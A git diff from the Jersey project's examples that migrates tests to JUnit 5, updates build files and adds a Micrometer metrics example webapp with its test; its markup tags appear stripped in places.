b/examples/helloworld-webapp/src/test/java/org/glassfish/jersey/examples/helloworld/webapp/HelloWorldTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -16,9 +16,9 @@ import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Simple test to check "Hello World!" is being returned from the helloworld resource. diff --git a/examples/helloworld-weld/pom.xml b/examples/helloworld-weld/pom.xml index f26f9e5e686..e2b6353f7ae 100644 --- a/examples/helloworld-weld/pom.xml +++ b/examples/helloworld-weld/pom.xml @@ -1,7 +1,7 @@ - + + diff --git a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/AppScopedResourceTest.java b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/AppScopedResourceTest.java index 64f8c076b7d..73d8b9e4b50 100644 --- a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/AppScopedResourceTest.java +++ b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/AppScopedResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,10 +17,11 @@ import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; import org.jboss.weld.environment.se.Weld; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Test for the {@link AppScopedResource} JAX-RS resource class. @@ -31,6 +32,7 @@ public class AppScopedResourceTest extends JerseyTest { Weld weld; + @BeforeEach @Override public void setUp() throws Exception { weld = new Weld(); @@ -38,6 +40,7 @@ public void setUp() throws Exception { super.setUp(); } + @AfterEach @Override public void tearDown() throws Exception { weld.shutdown(); diff --git a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/HelloWorldTest.java b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/HelloWorldTest.java index a97937704ad..ae3a105a20d 100644 --- a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/HelloWorldTest.java +++ b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/HelloWorldTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -16,9 +16,10 @@ import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; import org.jboss.weld.environment.se.Weld; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Test for the {@link HelloWorldResource} JAX-RS resource class. @@ -29,6 +30,7 @@ public class HelloWorldTest extends JerseyTest { private Weld weld; + @BeforeEach @Override public void setUp() throws Exception { weld = new Weld(); @@ -36,6 +38,7 @@ public void setUp() throws Exception { super.setUp(); } + @AfterEach @Override public void tearDown() throws Exception { weld.shutdown(); @@ -55,8 +58,9 @@ protected ResourceConfig configure() { @Test public void testHelloWorld() { - Response response = target().path("helloworld").queryParam("name", "Josef").request("text/plain").get(); + String name = "Josef"; + Response response = target().path("helloworld").queryParam("name", name).request("text/plain").get(); assertEquals(200, response.getStatus()); - assertEquals(String.format("Hello %s", "Josef"), response.readEntity(String.class)); + assertEquals(String.format("Hello %s", name), response.readEntity(String.class)); } } diff --git a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopeAlignmentTest.java b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopeAlignmentTest.java index 339280bb5b9..5ad769e37b8 100644 --- a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopeAlignmentTest.java +++ b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopeAlignmentTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,24 +10,18 @@ package org.glassfish.jersey.examples.helloworld; -import java.util.Arrays; -import java.util.List; - import jakarta.ws.rs.client.WebTarget; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; import org.jboss.weld.environment.se.Weld; -import org.junit.AfterClass; -import org.junit.BeforeClass; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.containsString; -import static org.hamcrest.CoreMatchers.startsWith; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the request scoped managed bean resource. @@ -38,13 +32,13 @@ public class RequestScopeAlignmentTest extends JerseyTest { static Weld weld; - @BeforeClass + @BeforeAll public static void before() throws Exception { weld = new Weld(); weld.initialize(); } - @AfterClass + @AfterAll public static void after() throws Exception { weld.shutdown(); } diff --git a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopedResourceTest.java b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopedResourceTest.java index d8762138f2d..f39e30ef1b9 100644 --- a/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopedResourceTest.java +++ b/examples/helloworld-weld/src/test/java/org/glassfish/jersey/examples/helloworld/RequestScopedResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -13,21 +13,26 @@ import java.util.Iterator; import java.util.Random; import java.util.concurrent.atomic.AtomicInteger; +import java.util.stream.Stream; +import java.util.stream.StreamSupport; import jakarta.ws.rs.core.Response; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.glassfish.jersey.test.util.runner.ConcurrentParameterizedRunner; - import org.jboss.weld.environment.se.Weld; -import org.junit.AfterClass; -import org.junit.BeforeClass; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.TestInstance; +import org.junit.jupiter.api.parallel.Execution; +import org.junit.jupiter.api.parallel.ExecutionMode; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; /** * Test request scoped resource. Number of various requests will be made in parallel @@ -36,7 +41,7 @@ * * @author Jakub Podlesak */ -@RunWith(ConcurrentParameterizedRunner.class) +@TestInstance(TestInstance.Lifecycle.PER_CLASS) public class RequestScopedResourceTest extends JerseyTest { // Total number of requests to make @@ -55,13 +60,11 @@ public class RequestScopedResourceTest extends JerseyTest { * * @return iterable test input data */ - @Parameterized.Parameters - public static Iterable data() { - return new Iterable() { - + public static Stream data() { + Iterable iterable = new Iterable() { @Override - public Iterator iterator() { - return new Iterator() { + public Iterator iterator() { + return new Iterator() { @Override public boolean hasNext() { @@ -69,11 +72,9 @@ public boolean hasNext() { } @Override - public Object[] next() { - Object[] result = new Object[1]; + public Arguments next() { int nextValue = dataFeed.getAndIncrement(); - result[0] = String.format("%02d", nextValue); - return result; + return Arguments.of(String.format("%02d", nextValue)); } @Override @@ -83,22 +84,28 @@ public void remove() { }; } }; + return StreamSupport.stream(iterable.spliterator(), false); } - @BeforeClass + @BeforeAll public static void before() throws Exception { weld = new Weld(); weld.initialize(); } - @AfterClass + @AfterAll public static void after() throws Exception { weld.shutdown(); } @Override + @AfterEach public void tearDown() throws Exception { super.tearDown(); + } + + @AfterAll + public void report() { System.out.printf("SYNC: %d, ASYNC: %d, STRAIGHT: %d%n", parameterizedCounter.intValue(), parameterizedAsyncCounter.intValue(), straightCounter.intValue()); } @@ -114,7 +121,9 @@ protected ResourceConfig configure() { final AtomicInteger parameterizedAsyncCounter = new AtomicInteger(0); final AtomicInteger straightCounter = new AtomicInteger(0); - @Test + @Execution(ExecutionMode.CONCURRENT) + @ParameterizedTest + @MethodSource("data") public void testRequestScopedResource(final String param) { String path; @@ -139,7 +148,7 @@ public void testRequestScopedResource(final String param) { final Response response = target().path(path).queryParam("q", param).request("text/plain").get(); - assertNotNull(String.format("Request failed for %s", path), response); + assertNotNull(response, String.format("Request failed for %s", path)); assertEquals(200, response.getStatus()); assertEquals(expected, response.readEntity(String.class)); } diff --git a/examples/helloworld/pom.xml b/examples/helloworld/pom.xml index 1dce28b37b2..e338c2f19b6 100644 --- a/examples/helloworld/pom.xml +++ b/examples/helloworld/pom.xml @@ -1,7 +1,7 @@ + + + com.google.guava + guava + + + + + com.google.guava + guava + ${guava.version} + test org.glassfish.jersey.media diff --git a/examples/http-patch/src/test/java/org/glassfish/jersey/examples/httppatch/HttpPatchTest.java b/examples/http-patch/src/test/java/org/glassfish/jersey/examples/httppatch/HttpPatchTest.java index fa8d4d8768c..d55d0af4f38 100644 --- a/examples/http-patch/src/test/java/org/glassfish/jersey/examples/httppatch/HttpPatchTest.java +++ b/examples/http-patch/src/test/java/org/glassfish/jersey/examples/httppatch/HttpPatchTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -22,8 +22,8 @@ import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * HTTP PATCH Example unit tests. @@ -62,7 +62,7 @@ public void testPatch() { // initial precondition check final State expected = new State(); - assertEquals(expected, target.request(MediaType.APPLICATION_JSON).get(State.class)); + assertEquals(expected, target.request("application/json").get(State.class)); // apply first patch expected.setMessage("patchedMessage"); @@ -94,7 +94,7 @@ public void testPatch() { assertEquals(expected, target.request() .method("PATCH", Entity.entity(patch_1, MediaType.APPLICATION_JSON_PATCH_JSON), State.class)); - assertEquals(expected, target.request(MediaType.APPLICATION_JSON).get(State.class)); + assertEquals(expected, target.request("application/json").get(State.class)); // apply second patch expected.getList().add("three"); diff --git a/examples/http-trace/pom.xml b/examples/http-trace/pom.xml index 0a035c6082c..e034290aa80 100644 --- a/examples/http-trace/pom.xml +++ b/examples/http-trace/pom.xml @@ -1,7 +1,7 @@ - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin 5 9999 diff --git a/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/DefaultMethodResourceTest.java b/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/DefaultMethodResourceTest.java index fb0b1fef0f9..10b9ab18f5e 100644 --- a/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/DefaultMethodResourceTest.java +++ b/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/DefaultMethodResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -15,8 +15,8 @@ import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Test usage of Java8's interface default methods as resource methods. diff --git a/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/LambdaResourceTest.java b/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/LambdaResourceTest.java index 5c04e06d1c7..2c563e56ad5 100644 --- a/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/LambdaResourceTest.java +++ b/examples/java8-webapp/src/test/java/org/glassfish/jersey/examples/java8/LambdaResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -15,9 +15,9 @@ import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test usage of Java SE 8 lambdas in JAX-RS resource methods. diff --git a/examples/jaxb/pom.xml b/examples/jaxb/pom.xml index 067bf562d83..24d60519df7 100644 --- a/examples/jaxb/pom.xml +++ b/examples/jaxb/pom.xml @@ -1,7 +1,7 @@ + + 4.0.0 + + + org.glassfish.jersey.examples + project + 3.1.99-SNAPSHOT + + + jersey-micrometer-webapp + jar + jersey-micrometer-example-webapp + + Micrometer/Jersey metrics basic example + + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + + + org.glassfish.jersey.containers + jersey-container-servlet + + + org.glassfish.jersey.ext + jersey-micrometer + + + org.glassfish.jersey.inject + jersey-hk2 + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + test + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-grizzly2 + test + + + org.junit.jupiter + junit-jupiter-api + test + + + + + + + org.codehaus.mojo + exec-maven-plugin + + org.glassfish.jersey.examples.micrometer.App + + + + + + + + pre-release + + + + org.codehaus.mojo + xml-maven-plugin + + + org.apache.maven.plugins + maven-assembly-plugin + + + + + + + diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java new file mode 100644 index 00000000000..3e4f465112f --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/App.java @@ -0,0 +1,51 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import org.glassfish.grizzly.http.server.HttpServer; +import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory; + +import java.io.IOException; +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +public class App { + + private static final URI BASE_URI = URI.create("http://localhost:8080/micro/"); + public static final String WEB_PATH = "/micro/"; + + public static void main(String[] args) { + try { + System.out.println("Micrometer/ Jersey Basic Example App"); + + final HttpServer server = GrizzlyHttpServerFactory.createHttpServer(BASE_URI, + new MetricsResourceConfig(), + false); + Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { + @Override + public void run() { + server.shutdownNow(); + } + })); + server.start(); + + System.out.println(String.format("Application started.\nTry out %s%s\n" + + "And after that go to the %s%s\n" + + "Stop the application using CTRL+C", + BASE_URI, "timed", BASE_URI, "metrics")); + Thread.currentThread().join(); + } catch (IOException | InterruptedException ex) { + Logger.getLogger(App.class.getName()).log(Level.SEVERE, null, ex); + } + + } +} diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java new file mode 100644 index 00000000000..f81a092043d --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResource.java @@ -0,0 +1,29 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; + +import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH; + +@Path("metrics") +public class MetricsResource { + + @GET + @Produces("text/html") + public String getMeters() { + return "Gaining measurements for the summary page, try summary. If you want more measurements just refresh this page several times." + + ""; + } +} \ No newline at end of file diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java new file mode 100644 index 00000000000..bbaf91b3815 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java @@ -0,0 +1,39 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import org.glassfish.jersey.internal.inject.AbstractBinder; +import org.glassfish.jersey.server.ResourceConfig; + +import jakarta.ws.rs.ApplicationPath; + +@ApplicationPath("/") +public class MetricsResourceConfig extends ResourceConfig { + + private final MetricsStore store = new MetricsStore(); + + public MetricsResourceConfig() { + register(new AbstractBinder() { + @Override + protected void configure() { + bind(store).to(MetricsStore.class); + } + }); + register(store.getMetricsApplicationEventListener()); + register(TimedResource.class); + register(MetricsResource.class); + register(SummaryResource.class); + } + + public MetricsStore getStore() { + return store; + } +} diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java new file mode 100644 index 00000000000..01eaed897ab --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsStore.java @@ -0,0 +1,37 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import org.glassfish.jersey.micrometer.server.DefaultJerseyTagsProvider; +import org.glassfish.jersey.micrometer.server.MetricsApplicationEventListener; + +public class MetricsStore { + + public static final String REGISTRY_NAME = "http.shared.metrics"; + private final MetricsApplicationEventListener metricsApplicationEventListener; + private final MeterRegistry registry = new SimpleMeterRegistry(); + + public MetricsStore() { + metricsApplicationEventListener = new MetricsApplicationEventListener(registry, + new DefaultJerseyTagsProvider(), + REGISTRY_NAME, true); + } + + public MetricsApplicationEventListener getMetricsApplicationEventListener() { + return metricsApplicationEventListener; + } + + public MeterRegistry getRegistry() { + return registry; + } +} \ No newline at end of file diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java new file mode 100644 index 00000000000..9a981dd0b49 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/SummaryResource.java @@ -0,0 +1,78 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.instrument.Meter; +import io.micrometer.core.instrument.Timer; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.Context; +import java.util.concurrent.TimeUnit; + +import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH; +import static org.glassfish.jersey.examples.micrometer.MetricsStore.REGISTRY_NAME; + +@Path("summary") +public class SummaryResource { + + @Context + private MetricsStore store; + + @GET + @Produces("text/html") + public String getExtendedMeters() { + final StringBuffer result = new StringBuffer(); + try { + result.append("" + + "Listing available meters

    Many occurrences of the same name means that there are more meters" + + " which could be used with different tags," + + " but this is actually a challenge to handle all available metrics :

    "); + for (final Meter meter : store.getRegistry().getMeters()) { + result.append(meter.getId().getName()); + result.append(";
    \n\r "); + } + } catch (Exception ex) { + result.append("Try clicking links below to gain more metrics.
    "); + } + result.append("
    \n\r "); + result.append("
    \n\r "); + try { + final Timer timer = store.getRegistry().get(REGISTRY_NAME) + .tags("method", "GET", "status", "200", "exception", "None", + "outcome", "SUCCESS", "uri", "/micro/metrics") + .timer(); + + result.append( + String.format("Counts to the page with standard measurements: %d, time spent on requests to the init " + + "page (millis): %f
    \n\r", + timer.count(), timer.totalTime(TimeUnit.MILLISECONDS))); + + final Timer annotatedTimer = store.getRegistry().timer(TimedResource.TIMER_NAME, + "method", "GET", "status", "200", "exception", "None", + "outcome", "SUCCESS", "uri", "/micro/timed"); + + result.append( + String.format("Counts to the page with annotated measurements: %d, total time (millis): %f
    \n\r", + annotatedTimer.count(), annotatedTimer.totalTime(TimeUnit.MILLISECONDS))); + + } catch (Exception ex) { + result.append(String.format("Counts to the init page: %d, total time (millis): %d
    \n\r", + 0, 0)); + result.append("Try clicking links below to gain more metrics.
    "); + } + result.append("

    Available pages for measurements: measure requests in the standard way  , measure requests in the annotated way"); + return result.append("").toString(); + } +} diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java new file mode 100644 index 00000000000..53ed481c573 --- /dev/null +++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/TimedResource.java @@ -0,0 +1,36 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.annotation.Timed; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; + +import static org.glassfish.jersey.examples.micrometer.App.WEB_PATH; + +@Path("timed") +public class TimedResource { + + public static final String MESSAGE = "Gaining measures in the annotated way. " + + "
    Take a look at the standard way of measurements
    " + + "Or just go to summary to check what you've got"; + public static final String TIMER_NAME = "http.timers"; + public static final String TIMER_DESCRIPTION = "resource measurement timer"; + + @GET + @Produces("text/html") + @Timed(value = TIMER_NAME, description = TIMER_DESCRIPTION, histogram = true) + public String getTimedMessage() { + return MESSAGE; + } +} diff --git a/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java b/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java new file mode 100644 index 00000000000..b9e605bd771 --- /dev/null +++ b/examples/micrometer/src/test/java/org/glassfish/jersey/examples/micrometer/MicrometerTest.java @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.micrometer; + +import io.micrometer.core.instrument.Timer; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.core.Application; +import java.util.concurrent.TimeUnit; + +import static org.glassfish.jersey.examples.micrometer.TimedResource.MESSAGE; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; + +public class MicrometerTest extends JerseyTest { + + static final int REQUESTS_COUNT = 10; + + private MetricsResourceConfig resourceConfig; + + @Override + protected Application configure() { + resourceConfig = new MetricsResourceConfig(); + assertNotNull(this.resourceConfig); + return this.resourceConfig; + } + + @Test + void meterResourceTest() throws InterruptedException { + final String response = target("/timed").request().get(String.class); + assertEquals(response, MESSAGE); + for (int i = 0; i < REQUESTS_COUNT; i++) { + target("/metrics").request().get(String.class); + } + // Jersey metrics are recorded asynchronously to the request completing + Thread.sleep(10); + Timer timer = resourceConfig.getStore().getRegistry() + .get(MetricsStore.REGISTRY_NAME) + .tags("method", "GET", "uri", "/metrics", "status", "200", "exception", "None", "outcome", "SUCCESS") + .timer(); + assertEquals(REQUESTS_COUNT, timer.count()); + assertNotNull(timer.totalTime(TimeUnit.NANOSECONDS)); + } + +} \ No newline at end of file diff --git a/examples/multipart-webapp/README.MD b/examples/multipart-webapp/README.MD index 672fda029c5..ef421c27935 100644 --- a/examples/multipart-webapp/README.MD +++ b/examples/multipart-webapp/README.MD @@ -1,4 +1,4 @@ -[//]: # " Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. " +[//]: # " Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. " [//]: # " " [//]: # " This program and the accompanying materials are made available under the " [//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at " @@ -10,20 +10,23 @@ Multipart Web app Example ========================= This example demonstrates how to develop RESTful web service with -demonstrating JAX-RS Integration with MIME MultiPart Message Formats and -an Jakarta EE 9 compliant Web container. +demonstrating Jakarta-REST Integration with MIME MultiPart Message Formats and +a Jakarta EE 9 compliant Web container. + +Please see also comparable example demonstrating usage of Jakarta REST 3.1 API for +MIME MultiPart Message Formats (JERSEY_ROOT/examples/rest31-sebootstrap-multipart) Contents -------- The mapping of the URI path space is presented in the following table: -URI path | Description | Sample request using curl ----------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------------------------------- -**_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part` -**_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides - | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name` -**_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources. + URI path | Description | Sample request using curl +----------------------------|----------------------------------------------| ----------------------------------------------------------------------------------------------- + **_/form/part_** | POST message returning entire string | `curl -X POST -F "part=part1" http://localhost:8080/multipart-webapp/form/part` + **_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides +| | | `curl -X POST -F "part=@pom.xml" http://localhost:8080/multipart-webapp/form/part-file-name` + **_/form/xml-jaxb-part_** | POST message returning xml jaxb part string. | No curl sample available, please check test sources. Running the Example ------------------- @@ -32,4 +35,4 @@ You can run the example using Jetty as follows: > `mvn clean package jetty:run` -Following steps are using [cURL](http://curl.haxx.se/) command line tool: \ No newline at end of file +The sample requests are using [cURL](http://curl.haxx.se/) command line tool. \ No newline at end of file diff --git a/examples/multipart-webapp/pom.xml b/examples/multipart-webapp/pom.xml index b507c8b63b1..9c88b6d77ac 100644 --- a/examples/multipart-webapp/pom.xml +++ b/examples/multipart-webapp/pom.xml @@ -1,7 +1,7 @@ - - org.slf4j - slf4j-log4j12 - 1.6.4 - test - - org.osgi @@ -123,6 +114,7 @@ junit junit + ${junit4.version} test @@ -153,9 +145,8 @@ test - com.sun.activation - jakarta.activation - ${jakarta.activation.version} + org.eclipse.angus + angus-activation @@ -213,7 +204,8 @@ maven-surefire-plugin - always + 1 + false false org.apache.felix:org.osgi.core diff --git a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java index d8cacd5712a..404c63db413 100644 --- a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java +++ b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -11,9 